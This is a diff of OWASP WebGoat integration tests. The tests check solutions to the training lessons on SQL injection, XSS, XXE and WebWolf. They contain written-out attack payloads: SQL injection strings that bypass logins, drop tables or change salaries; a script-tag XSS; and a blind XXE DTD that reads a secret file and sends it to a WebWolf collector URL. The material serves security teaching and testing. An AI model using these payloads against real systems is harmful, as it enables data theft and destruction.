+ " resulting in a seperation of code and data.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: The database registers 'Robert' ); DROP TABLE Students;--'.");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionAdvanced/quiz"), params, true);
|
||||
|
||||
checkResults("/SqlInjectionAdvanced/");
|
||||
}
|
||||
checkResults("/SqlInjectionAdvanced/");
|
||||
}
|
||||
}
|
||||
|
@ -2,77 +2,77 @@ package org.owasp.webgoat;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionLessonIntegrationTest extends IntegrationTest {
|
||||
|
||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||
public static final String sql_3 = "update employees set department='Sales' where last_name='Barnett'";
|
||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||
public static final String sql_9_account = " ' ";
|
||||
public static final String sql_9_operator = "or";
|
||||
public static final String sql_9_injection = "'1'='1";
|
||||
public static final String sql_10_login_count = "2";
|
||||
public static final String sql_10_userid = "1 or 1=1";
|
||||
public static final String sql_2 = "select department from employees where last_name='Franco'";
|
||||
public static final String sql_3 =
|
||||
"update employees set department='Sales' where last_name='Barnett'";
|
||||
public static final String sql_4_drop = "alter table employees drop column phone";
|
||||
public static final String sql_4_add = "alter table employees add column phone varchar(20)";
|
||||
public static final String sql_5 = "grant select on grant_rights to unauthorized_user";
|
||||
public static final String sql_9_account = " ' ";
|
||||
public static final String sql_9_operator = "or";
|
||||
public static final String sql_9_injection = "'1'='1";
|
||||
public static final String sql_10_login_count = "2";
|
||||
public static final String sql_10_userid = "1 or 1=1";
|
||||
|
||||
public static final String sql_11_a = "Smith' or '1' = '1";
|
||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||
public static final String sql_11_a = "Smith' or '1' = '1";
|
||||
public static final String sql_11_b = "3SL99A' or '1'='1";
|
||||
|
||||
public static final String sql_12_a = "Smith";
|
||||
public static final String sql_12_b = "3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||
public static final String sql_12_a = "Smith";
|
||||
public static final String sql_12_b =
|
||||
"3SL99A' ; update employees set salary= '100000' where last_name='Smith";
|
||||
|
||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||
public static final String sql_13 = "%update% '; drop table access_log ; --'";
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjection");
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjection");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("query", sql_2);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("query", sql_2);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack2"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_3);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
|
||||
params.clear();
|
||||
params.put("query", sql_3);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack3"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_4_add);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
|
||||
params.clear();
|
||||
params.put("query", sql_4_add);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack4"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("query", sql_5);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
|
||||
params.clear();
|
||||
params.put("query", sql_5);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack5"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("operator", sql_9_operator);
|
||||
params.put("account", sql_9_account);
|
||||
params.put("injection", sql_9_injection);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
|
||||
params.clear();
|
||||
params.put("operator", sql_9_operator);
|
||||
params.put("account", sql_9_account);
|
||||
params.put("injection", sql_9_injection);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/assignment5a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("login_count", sql_10_login_count);
|
||||
params.put("userid", sql_10_userid);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
|
||||
params.clear();
|
||||
params.put("login_count", sql_10_login_count);
|
||||
params.put("userid", sql_10_userid);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/assignment5b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("name", sql_11_a);
|
||||
params.put("auth_tan", sql_11_b);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
|
||||
params.clear();
|
||||
params.put("name", sql_11_a);
|
||||
params.put("auth_tan", sql_11_b);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack8"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("name", sql_12_a);
|
||||
params.put("auth_tan", sql_12_b);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
|
||||
params.clear();
|
||||
params.put("name", sql_12_a);
|
||||
params.put("auth_tan", sql_12_b);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack9"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("action_string", sql_13);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
||||
params.clear();
|
||||
params.put("action_string", sql_13);
|
||||
checkAssignment(url("/WebGoat/SqlInjection/attack10"), params, true);
|
||||
|
||||
checkResults("/SqlInjection/");
|
||||
|
||||
}
|
||||
checkResults("/SqlInjection/");
|
||||
}
|
||||
}
|
||||
|
@ -1,70 +1,85 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import static org.hamcrest.CoreMatchers.containsString;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class SqlInjectionMitigationIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionMitigations");
|
||||
@Test
|
||||
public void runTests() {
|
||||
startLesson("SqlInjectionMitigations");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("field1", "getConnection");
|
||||
params.put("field2", "PreparedStatement prep");
|
||||
params.put("field3", "prepareStatement");
|
||||
params.put("field4", "?");
|
||||
params.put("field5", "?");
|
||||
params.put("field6", "prep.setString(1,\"\")");
|
||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("field1", "getConnection");
|
||||
params.put("field2", "PreparedStatement prep");
|
||||
params.put("field3", "prepareStatement");
|
||||
params.put("field4", "?");
|
||||
params.put("field5", "?");
|
||||
params.put("field6", "prep.setString(1,\"\")");
|
||||
params.put("field7", "prep.setString(2,\\\"\\\")");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10a"), params, true);
|
||||
|
||||
params.put("editor", "try {\r\n" +
|
||||
" Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n" +
|
||||
" PreparedStatement prep = conn.prepareStatement(\"select id from users where name = ?\");\r\n" +
|
||||
" prep.setString(1,\"me\");\r\n" +
|
||||
" prep.execute();\r\n" +
|
||||
" System.out.println(conn); //should output 'null'\r\n" +
|
||||
"} catch (Exception e) {\r\n" +
|
||||
" System.out.println(\"Oops. Something went wrong!\");\r\n" +
|
||||
"}");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||
params.put(
|
||||
"editor",
|
||||
"try {\r\n"
|
||||
+ " Connection conn = DriverManager.getConnection(DBURL,DBUSER,DBPW);\r\n"
|
||||
+ " PreparedStatement prep = conn.prepareStatement(\"select id from users where name"
|
||||
+ " = ?\");\r\n"
|
||||
+ " prep.setString(1,\"me\");\r\n"
|
||||
+ " prep.execute();\r\n"
|
||||
+ " System.out.println(conn); //should output 'null'\r\n"
|
||||
+ "} catch (Exception e) {\r\n"
|
||||
+ " System.out.println(\"Oops. Something went wrong!\");\r\n"
|
||||
+ "}");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack10b"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_sql_only_input_validation", "Smith';SELECT/**/*/**/from/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidation/attack"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("userid_sql_only_input_validation_on_keywords", "Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||
params.clear();
|
||||
params.put(
|
||||
"userid_sql_only_input_validation_on_keywords",
|
||||
"Smith';SESELECTLECT/**/*/**/FRFROMOM/**/user_system_data;--");
|
||||
checkAssignment(url("/WebGoat/SqlOnlyInputValidationOnKeywords/attack"), params, true);
|
||||
|
||||
RestAssured.given()
|
||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname else id end)"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(
|
||||
url(
|
||||
"/WebGoat/SqlInjectionMitigations/servers?column=(case when (true) then hostname"
|
||||
+ " else id end)"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
RestAssured.given()
|
||||
.when().relaxedHTTPSValidation().cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
||||
.then()
|
||||
.statusCode(500)
|
||||
.body("trace", containsString("select id, hostname, ip, mac, status, description from SERVERS where status <> 'out of order' order by"));
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.contentType(ContentType.JSON)
|
||||
.get(url("/WebGoat/SqlInjectionMitigations/servers?column=unknown"))
|
||||
.then()
|
||||
.statusCode(500)
|
||||
.body(
|
||||
"trace",
|
||||
containsString(
|
||||
"select id, hostname, ip, mac, status, description from SERVERS where status <>"
|
||||
+ " 'out of order' order by"));
|
||||
|
||||
params.clear();
|
||||
params.put("ip", "104.130.219.202");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
|
||||
params.clear();
|
||||
params.put("ip", "104.130.219.202");
|
||||
checkAssignment(url("/WebGoat/SqlInjectionMitigations/attack12a"), params, true);
|
||||
|
||||
checkResults();
|
||||
}
|
||||
checkResults();
|
||||
}
|
||||
}
|
||||
|
@ -2,71 +2,78 @@ package org.owasp.webgoat;
|
||||
|
||||
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import java.io.IOException;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
public class WebWolfIntegrationTest extends IntegrationTest {
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("WebWolfIntroduction");
|
||||
|
||||
//Assignment 3
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("email", this.getUser()+"@webgoat.org");
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
||||
|
||||
String responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
|
||||
String uniqueCode = responseBody.replace("%20", " ");
|
||||
uniqueCode = uniqueCode.substring(21+uniqueCode.lastIndexOf("your unique code is: "),uniqueCode.lastIndexOf("your unique code is: ")+(21+ this.getUser().length()));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
||||
|
||||
//Assignment 4
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url("/WebGoat/WebWolf/landing/password-reset"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
|
||||
@Test
|
||||
public void runTests() throws IOException {
|
||||
startLesson("WebWolfIntroduction");
|
||||
|
||||
// Assignment 3
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("email", this.getUser() + "@webgoat.org");
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail/send"), params, false);
|
||||
|
||||
String responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/mail"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
|
||||
String uniqueCode = responseBody.replace("%20", " ");
|
||||
uniqueCode =
|
||||
uniqueCode.substring(
|
||||
21 + uniqueCode.lastIndexOf("your unique code is: "),
|
||||
uniqueCode.lastIndexOf("your unique code is: ") + (21 + this.getUser().length()));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/mail"), params, true);
|
||||
|
||||
// Assignment 4
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.queryParams(params)
|
||||
.get(url("/WebGoat/WebWolf/landing/password-reset"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.queryParams(params)
|
||||
.get(webWolfUrl("/landing"))
|
||||
.get(webWolfUrl("/landing"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
responseBody = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
assertTrue(responseBody.contains(uniqueCode));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
||||
|
||||
checkResults("/WebWolf");
|
||||
|
||||
}
|
||||
|
||||
responseBody =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
assertTrue(responseBody.contains(uniqueCode));
|
||||
params.clear();
|
||||
params.put("uniqueCode", uniqueCode);
|
||||
checkAssignment(url("/WebGoat/WebWolf/landing"), params, true);
|
||||
|
||||
checkResults("/WebWolf");
|
||||
}
|
||||
}
|
||||
|
@ -1,68 +1,80 @@
|
||||
package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XSSIntegrationTest extends IntegrationTest {
|
||||
|
||||
|
||||
@Test
|
||||
public void crossSiteScriptingAssignments() {
|
||||
startLesson("CrossSiteScripting");
|
||||
@Test
|
||||
public void crossSiteScriptingAssignments() {
|
||||
startLesson("CrossSiteScripting");
|
||||
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("checkboxAttack1", "value");
|
||||
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
|
||||
Map<String, Object> params = new HashMap<>();
|
||||
params.clear();
|
||||
params.put("checkboxAttack1", "value");
|
||||
checkAssignment(url("/CrossSiteScripting/attack1"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("QTY1", "1");
|
||||
params.put("QTY2", "1");
|
||||
params.put("QTY3", "1");
|
||||
params.put("QTY4", "1");
|
||||
params.put("field1", "<script>alert('XSS+Test')</script>");
|
||||
params.put("field2", "111");
|
||||
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
|
||||
params.clear();
|
||||
params.put("QTY1", "1");
|
||||
params.put("QTY2", "1");
|
||||
params.put("QTY3", "1");
|
||||
params.put("QTY4", "1");
|
||||
params.put("field1", "<script>alert('XSS+Test')</script>");
|
||||
params.put("field2", "111");
|
||||
checkAssignmentWithGet(url("/CrossSiteScripting/attack5a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("DOMTestRoute", "start.mvc#test");
|
||||
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("param1", "42");
|
||||
params.put("param2", "24");
|
||||
params.clear();
|
||||
params.put("DOMTestRoute", "start.mvc#test");
|
||||
checkAssignment(url("/CrossSiteScripting/attack6a"), params, true);
|
||||
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.formParams(params)
|
||||
.post(url("/CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract().path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
params.clear();
|
||||
params.put("successMessage", secretNumber);
|
||||
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put("question_0_solution", "Solution 4: No because the browser trusts the website if it is acknowledged trusted, then the browser does not know that the script is malicious.");
|
||||
params.put("question_1_solution", "Solution 3: The data is included in dynamic content that is sent to a web user without being validated for malicious content.");
|
||||
params.put("question_2_solution", "Solution 1: The script is permanently stored on the server and the victim gets the malicious script when requesting information from the server.");
|
||||
params.put("question_3_solution", "Solution 2: They reflect the injected script off the web server. That occurs when input sent to the web server is part of the request.");
|
||||
params.put("question_4_solution", "Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that the browser executes.");
|
||||
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
||||
params.clear();
|
||||
params.put("param1", "42");
|
||||
params.put("param2", "24");
|
||||
|
||||
checkResults("/CrossSiteScripting/");
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.header("webgoat-requested-by", "dom-xss-vuln")
|
||||
.header("X-Requested-With", "XMLHttpRequest")
|
||||
.formParams(params)
|
||||
.post(url("/CrossSiteScripting/phone-home-xss"))
|
||||
.then()
|
||||
.statusCode(200)
|
||||
.extract()
|
||||
.path("output");
|
||||
String secretNumber = result.substring("phoneHome Response is ".length());
|
||||
|
||||
}
|
||||
params.clear();
|
||||
params.put("successMessage", secretNumber);
|
||||
checkAssignment(url("/CrossSiteScripting/dom-follow-up"), params, true);
|
||||
|
||||
params.clear();
|
||||
params.put(
|
||||
"question_0_solution",
|
||||
"Solution 4: No because the browser trusts the website if it is acknowledged trusted, then"
|
||||
+ " the browser does not know that the script is malicious.");
|
||||
params.put(
|
||||
"question_1_solution",
|
||||
"Solution 3: The data is included in dynamic content that is sent to a web user without"
|
||||
+ " being validated for malicious content.");
|
||||
params.put(
|
||||
"question_2_solution",
|
||||
"Solution 1: The script is permanently stored on the server and the victim gets the"
|
||||
+ " malicious script when requesting information from the server.");
|
||||
params.put(
|
||||
"question_3_solution",
|
||||
"Solution 2: They reflect the injected script off the web server. That occurs when input"
|
||||
+ " sent to the web server is part of the request.");
|
||||
params.put(
|
||||
"question_4_solution",
|
||||
"Solution 4: No there are many other ways. Like HTML, Flash or any other type of code that"
|
||||
+ " the browser executes.");
|
||||
checkAssignment(url("/CrossSiteScripting/quiz"), params, true);
|
||||
|
||||
checkResults("/CrossSiteScripting/");
|
||||
}
|
||||
}
|
||||
|
@ -2,98 +2,125 @@ package org.owasp.webgoat;
|
||||
|
||||
import io.restassured.RestAssured;
|
||||
import io.restassured.http.ContentType;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
import java.nio.file.Paths;
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
public class XXEIntegrationTest extends IntegrationTest {
|
||||
|
||||
private static final String xxe3 = """
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||
private static final String xxe4 = """
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>""";
|
||||
private static final String dtd7 = """
|
||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;""";
|
||||
private static final String xxe7 = """
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>""";
|
||||
private static final String xxe3 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String xxe4 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE user [<!ENTITY xxe SYSTEM "file:///">]><comment><text>&xxe;test</text></comment>
|
||||
""";
|
||||
private static final String dtd7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!ENTITY % file SYSTEM "file:SECRET"><!ENTITY % all "<!ENTITY send SYSTEM 'WEBWOLFURL?text=%file;'>">%all;
|
||||
""";
|
||||
private static final String xxe7 =
|
||||
"""
|
||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE comment [<!ENTITY % remote SYSTEM "WEBWOLFURL/USERNAME/blind.dtd">%remote;]><comment><text>test&send;</text></comment>
|
||||
""";
|
||||
|
||||
private String webGoatHomeDirectory;
|
||||
private String webWolfFileServerLocation;
|
||||
private String webGoatHomeDirectory;
|
||||
private String webWolfFileServerLocation;
|
||||
|
||||
/*
|
||||
* This test is to verify that all is secure when XXE security patch is applied.
|
||||
*/
|
||||
@Test
|
||||
public void xxeSecure() throws IOException {
|
||||
startLesson("XXE");
|
||||
webGoatHomeDirectory = webGoatServerDirectory();
|
||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||
/*
|
||||
* This test is to verify that all is secure when XXE security patch is applied.
|
||||
*/
|
||||
@Test
|
||||
public void xxeSecure() throws IOException {
|
||||
startLesson("XXE");
|
||||
webGoatHomeDirectory = webGoatServerDirectory();
|
||||
webWolfFileServerLocation = getWebWolfFileServerLocation();
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/enable-security.mvc"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||
checkAssignment(
|
||||
url("/WebGoat/xxe/blind"),
|
||||
ContentType.XML,
|
||||
"<comment><text>" + getSecret() + "</text></comment>",
|
||||
false);
|
||||
}
|
||||
|
||||
/**
|
||||
* This performs the steps of the exercise before the secret can be committed in the final step.
|
||||
*
|
||||
* @return
|
||||
* @throws IOException
|
||||
*/
|
||||
private String getSecret() throws IOException {
|
||||
// remove any left over DTD
|
||||
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
||||
}
|
||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||
String dtd7String =
|
||||
dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||
|
||||
// upload DTD
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||
.post(webWolfUrl("/fileupload"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
// upload attack
|
||||
String xxe7String =
|
||||
xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
||||
|
||||
// read results from WebWolf
|
||||
String result =
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("JSESSIONID", getWebGoatCookie())
|
||||
.get(url("service/enable-security.mvc"))
|
||||
.then()
|
||||
.statusCode(200);
|
||||
checkAssignment(url("/WebGoat/xxe/simple"), ContentType.XML, xxe3, false);
|
||||
checkAssignment(url("/WebGoat/xxe/content-type"), ContentType.XML, xxe4, false);
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, "<comment><text>" + getSecret() + "</text></comment>", false);
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract()
|
||||
.response()
|
||||
.getBody()
|
||||
.asString();
|
||||
result = result.replace("%20", " ");
|
||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||
result =
|
||||
result.substring(
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... ("),
|
||||
result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
/**
|
||||
* This performs the steps of the exercise before the secret can be committed in the final step.
|
||||
*
|
||||
* @return
|
||||
* @throws IOException
|
||||
*/
|
||||
private String getSecret() throws IOException {
|
||||
//remove any left over DTD
|
||||
Path webWolfFilePath = Paths.get(webWolfFileServerLocation);
|
||||
if (webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")).toFile().exists()) {
|
||||
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), "blind.dtd")));
|
||||
}
|
||||
String secretFile = webGoatHomeDirectory.concat("/XXE/" + getUser() + "/secret.txt");
|
||||
String dtd7String = dtd7.replace("WEBWOLFURL", webWolfUrl("/landing")).replace("SECRET", secretFile);
|
||||
|
||||
//upload DTD
|
||||
RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.multiPart("file", "blind.dtd", dtd7String.getBytes())
|
||||
.post(webWolfUrl("/fileupload"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
//upload attack
|
||||
String xxe7String = xxe7.replace("WEBWOLFURL", webWolfUrl("/files")).replace("USERNAME", this.getUser());
|
||||
checkAssignment(url("/WebGoat/xxe/blind"), ContentType.XML, xxe7String, false);
|
||||
|
||||
//read results from WebWolf
|
||||
String result = RestAssured.given()
|
||||
.when()
|
||||
.relaxedHTTPSValidation()
|
||||
.cookie("WEBWOLFSESSION", getWebWolfCookie())
|
||||
.get(webWolfUrl("/WebWolf/requests"))
|
||||
.then()
|
||||
.extract().response().getBody().asString();
|
||||
result = result.replace("%20", " ");
|
||||
if (-1 != result.lastIndexOf("WebGoat 8.0 rocks... (")) {
|
||||
result = result.substring(result.lastIndexOf("WebGoat 8.0 rocks... ("), result.lastIndexOf("WebGoat 8.0 rocks... (") + 33);
|
||||
}
|
||||
return result;
|
||||
}
|
||||
|
||||
@Test
|
||||
